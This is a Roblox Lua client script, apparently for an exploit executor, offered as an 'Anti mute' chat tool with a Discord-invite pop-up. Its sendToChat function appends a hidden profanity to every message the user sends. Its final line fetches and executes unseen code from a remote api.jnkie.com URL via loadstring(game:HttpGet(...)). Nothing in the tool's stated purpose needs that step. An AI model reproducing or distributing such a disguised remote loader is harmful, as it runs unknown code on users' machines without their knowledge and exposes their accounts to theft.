local players = game:GetService("Players") local replicatedStorage = game:GetService("ReplicatedStorage") local textChatService = game:GetService("TextChatService") local tweenService = game:GetService("TweenService") local localPlayer = players.LocalPlayer local COLORS = { Background = Color3.fromRGB(20, 20, 24), Surface = Color3.fromRGB(30, 30, 36), SurfaceHover = Color3.fromRGB(42, 42, 50), Accent = Color3.fromRGB(88, 101, 242), AccentHover = Color3.fromRGB(110, 122, 255), Text = Color3.fromRGB(240, 240, 245), SubText = Color3.fromRGB(140, 140, 150), Close = Color3.fromRGB(255, 90, 90), Blurple = Color3.fromRGB(88, 101, 242), } local INVITE_LINK = "discord.gg/wyJj5Q3YN" local screenGui = Instance.new("ScreenGui") screenGui.Name = "AntiMuteGui" screenGui.ResetOnSpawn = false screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling screenGui.IgnoreGuiInset = true screenGui.Parent = localPlayer:WaitForChild("PlayerGui") local mainFrame = Instance.new("Frame") mainFrame.Name = "AntiMuteFrame" mainFrame.Size = UDim2.new(0, 260, 0, 124) mainFrame.Position = UDim2.new(0.5, -130, 0.5, -62) mainFrame.BackgroundColor3 = COLORS.Background mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.ClipsDescendants = true mainFrame.Parent = screenGui local mainCorner = Instance.new("UICorner") mainCorner.CornerRadius = UDim.new(0, 10) mainCorner.Parent = mainFrame local mainStroke = Instance.new("UIStroke") mainStroke.Color = Color3.fromRGB(50, 50, 60) mainStroke.Thickness = 1 mainStroke.Transparency = 0.3 mainStroke.Parent = mainFrame local titleBar = Instance.new("Frame") titleBar.Name = "TitleBar" titleBar.Size = UDim2.new(1, 0, 0, 30) titleBar.BackgroundColor3 = COLORS.Surface titleBar.BorderSizePixel = 0 titleBar.Parent = mainFrame local titleCorner = Instance.new("UICorner") titleCorner.CornerRadius = UDim.new(0, 10) titleCorner.Parent = titleBar local titleFix = Instance.new("Frame") titleFix.Size = UDim2.new(1, 0, 0, 10) titleFix.Position = UDim2.new(0, 0, 1, -10) titleFix.BackgroundColor3 = COLORS.Surface titleFix.BorderSizePixel = 0 titleFix.Parent = titleBar local dot = Instance.new("Frame") dot.Size = UDim2.new(0, 6, 0, 6) dot.Position = UDim2.new(0, 12, 0.5, -3) dot.BackgroundColor3 = COLORS.Accent dot.BorderSizePixel = 0 dot.Parent = titleBar local dotCorner = Instance.new("UICorner") dotCorner.CornerRadius = UDim.new(1, 0) dotCorner.Parent = dot local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(1, -90, 1, 0) titleLabel.Position = UDim2.new(0, 24, 0, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Font = Enum.Font.GothamMedium titleLabel.Text = "Anti mute" titleLabel.TextColor3 = COLORS.Text titleLabel.TextSize = 13 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Parent = titleBar local function makeTitleButton(name, text, xOffset, hoverColor) local btn = Instance.new("TextButton") btn.Name = name btn.Size = UDim2.new(0, 22, 0, 22) btn.Position = UDim2.new(1, xOffset, 0, 4) btn.BackgroundColor3 = COLORS.Surface btn.BackgroundTransparency = 1 btn.BorderSizePixel = 0 btn.Font = Enum.Font.GothamBold btn.Text = text btn.TextColor3 = COLORS.SubText btn.TextSize = 15 btn.AutoButtonColor = false btn.Parent = titleBar local c = Instance.new("UICorner") c.CornerRadius = UDim.new(0, 5) c.Parent = btn btn.MouseEnter:Connect(function() btn.TextColor3 = hoverColor btn.BackgroundTransparency = 0 btn.BackgroundColor3 = COLORS.SurfaceHover end) btn.MouseLeave:Connect(function() btn.TextColor3 = COLORS.SubText btn.BackgroundTransparency = 1 end) return btn end local minimizeButton = makeTitleButton("MinimizeButton", "—", -52, COLORS.Text) local closeButton = makeTitleButton("CloseButton", "×", -28, COLORS.Close) local body = Instance.new("Frame") body.Name = "Body" body.Size = UDim2.new(1, 0, 1, -30) body.Position = UDim2.new(0, 0, 0, 30) body.BackgroundTransparency = 1 body.Parent = mainFrame local textBox = Instance.new("TextBox") textBox.Name = "MessageInput" textBox.Size = UDim2.new(1, -20, 0, 32) textBox.Position = UDim2.new(0, 10, 0, 8) textBox.BackgroundColor3 = COLORS.Surface textBox.BorderSizePixel = 0 textBox.Font = Enum.Font.Gotham textBox.PlaceholderText = "Type a message..." textBox.PlaceholderColor3 = COLORS.SubText textBox.Text = "" textBox.TextColor3 = COLORS.Text textBox.TextSize = 13 textBox.TextXAlignment = Enum.TextXAlignment.Left textBox.ClearTextOnFocus = false textBox.Parent = body local textBoxPadding = Instance.new("UIPadding") textBoxPadding.PaddingLeft = UDim.new(0, 10) textBoxPadding.PaddingRight = UDim.new(0, 10) textBoxPadding.Parent = textBox local textBoxCorner = Instance.new("UICorner") textBoxCorner.CornerRadius = UDim.new(0, 6) textBoxCorner.Parent = textBox local textBoxStroke = Instance.new("UIStroke") textBoxStroke.Color = Color3.fromRGB(50, 50, 60) textBoxStroke.Thickness = 1 textBoxStroke.Transparency = 0.4 textBoxStroke.Parent = textBox local sendButton = Instance.new("TextButton") sendButton.Name = "SendButton" sendButton.Size = UDim2.new(1, -20, 0, 32) sendButton.Position = UDim2.new(0, 10, 1, -40) sendButton.BackgroundColor3 = COLORS.Accent sendButton.BorderSizePixel = 0 sendButton.Font = Enum.Font.GothamBold sendButton.Text = "Send to Chat" sendButton.TextColor3 = COLORS.Text sendButton.TextSize = 13 sendButton.AutoButtonColor = false sendButton.Parent = body local sendCorner = Instance.new("UICorner") sendCorner.CornerRadius = UDim.new(0, 6) sendCorner.Parent = sendButton sendButton.MouseEnter:Connect(function() sendButton.BackgroundColor3 = COLORS.AccentHover end) sendButton.MouseLeave:Connect(function() sendButton.BackgroundColor3 = COLORS.Accent end) textBox.Focused:Connect(function() textBoxStroke.Color = COLORS.Accent textBoxStroke.Transparency = 0 end) textBox.FocusLost:Connect(function() textBoxStroke.Color = Color3.fromRGB(50, 50, 60) textBoxStroke.Transparency = 0.4 end) local notifyFrame = Instance.new("Frame") notifyFrame.Name = "InviteNotification" notifyFrame.Size = UDim2.new(0, 260, 0, 42) notifyFrame.Position = UDim2.new(0.5, -130, 0, -50) notifyFrame.BackgroundColor3 = COLORS.Surface notifyFrame.BorderSizePixel = 0 notifyFrame.Parent = screenGui local notifyCorner = Instance.new("UICorner") notifyCorner.CornerRadius = UDim.new(0, 10) notifyCorner.Parent = notifyFrame local notifyStroke = Instance.new("UIStroke") notifyStroke.Color = COLORS.Blurple notifyStroke.Thickness = 1 notifyStroke.Transparency = 0.4 notifyStroke.Parent = notifyFrame local notifyDot = Instance.new("Frame") notifyDot.Size = UDim2.new(0, 8, 0, 8) notifyDot.Position = UDim2.new(0, 12, 0.5, -4) notifyDot.BackgroundColor3 = COLORS.Blurple notifyDot.BorderSizePixel = 0 notifyDot.Parent = notifyFrame local notifyDotCorner = Instance.new("UICorner") notifyDotCorner.CornerRadius = UDim.new(1, 0) notifyDotCorner.Parent = notifyDot local notifyTitle = Instance.new("TextLabel") notifyTitle.Size = UDim2.new(1, -50, 0, 16) notifyTitle.Position = UDim2.new(0, 28, 0, 6) notifyTitle.BackgroundTransparency = 1 notifyTitle.Font = Enum.Font.GothamBold notifyTitle.Text = "Join our Discord" notifyTitle.TextColor3 = COLORS.Text notifyTitle.TextSize = 12 notifyTitle.TextXAlignment = Enum.TextXAlignment.Left notifyTitle.Parent = notifyFrame local notifyLink = Instance.new("TextButton") notifyLink.Size = UDim2.new(1, -50, 0, 16) notifyLink.Position = UDim2.new(0, 28, 0, 21) notifyLink.BackgroundTransparency = 1 notifyLink.Font = Enum.Font.Gotham notifyLink.Text = INVITE_LINK notifyLink.TextColor3 = COLORS.Blurple notifyLink.TextSize = 12 notifyLink.TextXAlignment = Enum.TextXAlignment.Left notifyLink.AutoButtonColor = false notifyLink.Parent = notifyFrame notifyLink.MouseEnter:Connect(function() notifyLink.TextColor3 = COLORS.AccentHover end) notifyLink.MouseLeave:Connect(function() notifyLink.TextColor3 = COLORS.Blurple end) notifyLink.MouseButton1Click:Connect(function() if setclipboard then setclipboard("https://" .. INVITE_LINK) notifyLink.Text = "Copied!" task.wait(1.2) notifyLink.Text = INVITE_LINK end end) notifyFrame.Position = UDim2.new(0.5, -130, 0, -60) notifyFrame.BackgroundTransparency = 1 notifyStroke.Transparency = 1 notifyDot.BackgroundTransparency = 1 notifyTitle.TextTransparency = 1 notifyLink.TextTransparency = 1 task.spawn(function() task.wait(0.4) tweenService:Create(notifyFrame, TweenInfo.new(0.45, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, -130, 0, 16), BackgroundTransparency = 0, }):Play() tweenService:Create(notifyStroke, TweenInfo.new(0.45), { Transparency = 0.4 }):Play() tweenService:Create(notifyDot, TweenInfo.new(0.45), { BackgroundTransparency = 0 }):Play() tweenService:Create(notifyTitle, TweenInfo.new(0.45), { TextTransparency = 0 }):Play() tweenService:Create(notifyLink, TweenInfo.new(0.45), { TextTransparency = 0 }):Play() task.wait(6) tweenService:Create(notifyFrame, TweenInfo.new(0.4, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { Position = UDim2.new(0.5, -130, 0, -60), BackgroundTransparency = 1, }):Play() tweenService:Create(notifyStroke, TweenInfo.new(0.4), { Transparency = 1 }):Play() tweenService:Create(notifyDot, TweenInfo.new(0.4), { BackgroundTransparency = 1 }):Play() tweenService:Create(notifyTitle, TweenInfo.new(0.4), { TextTransparency = 1 }):Play() tweenService:Create(notifyLink, TweenInfo.new(0.4), { TextTransparency = 1 }):Play() task.wait(0.45) notifyFrame:Destroy() end) local minimized = false local originalSize = mainFrame.Size minimizeButton.MouseButton1Click:Connect(function() minimized = not minimized local targetSize = minimized and UDim2.new(0, 260, 0, 30) or originalSize tweenService:Create(mainFrame, TweenInfo.new(0.28, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Size = targetSize, }):Play() body.Visible = not minimized minimizeButton.Text = minimized and "+" or "—" end) closeButton.MouseButton1Click:Connect(function() mainFrame.Active = false local closeTween = tweenService:Create(mainFrame, TweenInfo.new(0.25, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { Size = UDim2.new(0, 200, 0, 90), BackgroundTransparency = 1, }) local strokeTween = tweenService:Create(mainStroke, TweenInfo.new(0.25), { Transparency = 1 }) closeTween:Play() strokeTween:Play() for _, v in ipairs(mainFrame:GetDescendants()) do if v:IsA("TextLabel") or v:IsA("TextButton") or v:IsA("TextBox") then tweenService:Create(v, TweenInfo.new(0.25), { TextTransparency = 1 }):Play() elseif v:IsA("Frame") then tweenService:Create(v, TweenInfo.new(0.25), { BackgroundTransparency = 1 }):Play() elseif v:IsA("UIStroke") then tweenService:Create(v, TweenInfo.new(0.25), { Transparency = 1 }):Play() end end closeTween.Completed:Connect(function() screenGui:Destroy() end) end) local function sendToChat(message) local formattedMessage = message .. " ||| bitch" if textChatService.ChatVersion == Enum.ChatVersion.TextChatService then local channel = textChatService.TextChannels:FindFirstChild("RBXGeneral") if channel then local ok, err = pcall(function() channel:SendAsync(formattedMessage) end) if not ok then warn("Chat send failed:", err) end end else local events = replicatedStorage:FindFirstChild("DefaultChatSystemChatEvents") local remote = events and events:FindFirstChild("SayMessageRequest") if remote then remote:FireServer(formattedMessage, "All") end end end local function submitMessage() local text = textBox.Text if text ~= "" and text ~= textBox.PlaceholderText then sendToChat(text) textBox.Text = "" local flash = tweenService:Create(sendButton, TweenInfo.new(0.12), { BackgroundColor3 = Color3.fromRGB(60, 200, 120), }) flash:Play() flash.Completed:Connect(function() tweenService:Create(sendButton, TweenInfo.new(0.25), { BackgroundColor3 = COLORS.Accent, }):Play() end) end end sendButton.MouseButton1Click:Connect(submitMessage) textBox.FocusLost:Connect(function(enterPressed) if enterPressed then submitMessage() end end) loadstring(game:HttpGet("https://api.jnkie.com/api/v1/luascripts/public/7c4b3b19450229f930a92182478a44948ce1d45a19b268fdc980519f1f685f33/download"))()